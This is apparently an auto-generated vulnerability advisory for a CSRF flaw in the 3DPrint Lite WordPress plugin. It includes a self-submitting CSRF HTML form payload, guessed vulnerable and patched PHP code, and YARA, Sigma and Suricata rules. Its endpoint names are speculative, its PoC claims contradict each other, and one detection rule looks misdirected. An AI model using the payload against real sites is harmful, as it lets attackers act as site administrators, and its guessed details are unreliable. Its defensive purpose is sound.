CVE-2025-30865
Executive Summary
CVE-2025-30865 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the 3DPrint Lite WordPress plugin by Fuzzoid, up to and including version 2.1.3.5. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or triggering print jobs, without their consent. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality Impact (C): None (N) – No data disclosure.
- Integrity Impact (I): Low (L) – Limited ability to modify data or settings.
- Availability Impact (A): None (N) – No denial of service.
Threat Level: Medium. The attack requires user interaction and only affects integrity, but it can lead to unauthorized configuration changes or print job manipulation.
Deep Dive & Mechanics
The CSRF vulnerability in 3DPrint Lite arises from the lack of anti-CSRF tokens (nonces) in critical administrative actions. The plugin likely exposes endpoints for:
- Changing printer settings (e.g., API keys, print quality).
- Triggering print jobs.
- Modifying user permissions or plugin options.
An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, sends forged HTTP requests to the WordPress site. Since the victim’s browser automatically includes session cookies, the server processes the request as legitimate.
Attack Flow:
- Attacker identifies a vulnerable WordPress site running 3DPrint Lite <= 2.1.3.5.
- Attacker crafts a CSRF payload (e.g., an image tag or form submission) targeting a sensitive action endpoint.
- Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or compromised site).
- The victim’s browser sends the forged request, and the server executes the action without verifying the request’s origin.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code likely lacks nonce verification. A typical vulnerable pattern in WordPress plugins:
Vulnerable Code (PHP):
function handle_print_job() {
// No nonce check
$printer_id = $_POST['printer_id'];
$gcode = $_POST['gcode'];
// Execute print job
send_to_printer($printer_id, $gcode);
}
add_action('wp_ajax_3dprint_start_job', 'handle_print_job');
Patched Code (PHP):
function handle_print_job() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], '3dprint_start_job')) {
wp_die('CSRF validation failed.');
}
$printer_id = sanitize_text_field($_POST['printer_id']);
$gcode = sanitize_text_field($_POST['gcode']);
// Execute print job
send_to_printer($printer_id, $gcode);
}
add_action('wp_ajax_3dprint_start_job', 'handle_print_job');
Exploitation & Lab Setup
Red Team (Attacker)
Lab Environment:
- WordPress 6.x with 3DPrint Lite 2.1.3.5 installed.
- Attacker machine with Python or Burp Suite.
- Victim browser (Chrome/Firefox) logged in as admin.
Exploit Steps:
- Identify vulnerable endpoints (e.g., via plugin source code or fuzzing).
- Craft a CSRF payload (HTML file):
<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="3dprint_start_job">
<input type="hidden" name="printer_id" value="1">
<input type="hidden" name="gcode" value="M104 S200">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
- Host the file on a server or use a phishing email.
- Send the link to the victim admin.
- Upon click, the print job is triggered.
Blue Team (Defender)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithactionparameters related to 3DPrint Lite. - Check for missing
Refererheader or unexpected origins. - Review server logs for repeated failed nonce checks (if patched).
Hunting:
- Search for
3dprintin HTTP request logs. - Use WAF rules to block requests without a valid nonce.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=3dprint_*parameters. - Unusual
Refererheaders (e.g., from attacker-controlled domains).
- POST requests to
- Host:
- Modified plugin settings in
wp_optionstable (e.g.,3dprint_api_key). - Unexpected print jobs in printer logs.
- Modified plugin settings in
- File:
- Presence of
csrf_exploit.htmlor similar files on the server.
- Presence of
Detection Engineering
YARA Rule
rule CVE_2025_30865_CSRF_3DPrint_Lite {
meta:
description = "Detects CSRF exploit attempts against 3DPrint Lite plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30865"
strings:
$action = "3dprint_" nocase
$ajax = "admin-ajax.php" nocase
$post = "POST" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-30865 - CSRF Exploit Against 3DPrint Lite
id: 3a1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts targeting 3DPrint Lite plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=3dprint_'
condition: selection
falsepositives:
- Legitimate admin actions
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30865 - CSRF Exploit Against 3DPrint Lite"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=3dprint_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithout a valid nonce. - Educate administrators about phishing risks and CSRF.
Long-term Fix:
- The vendor must add nonce verification to all AJAX actions using
wp_verify_nonce()andcheck_admin_referer(). - Apply the principle of least privilege to plugin endpoints.
Workaround:
- Use a security plugin (e.g., Wordfence) to add CSRF protection.
- Restrict access to
wp-adminvia IP whitelisting or VPN.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.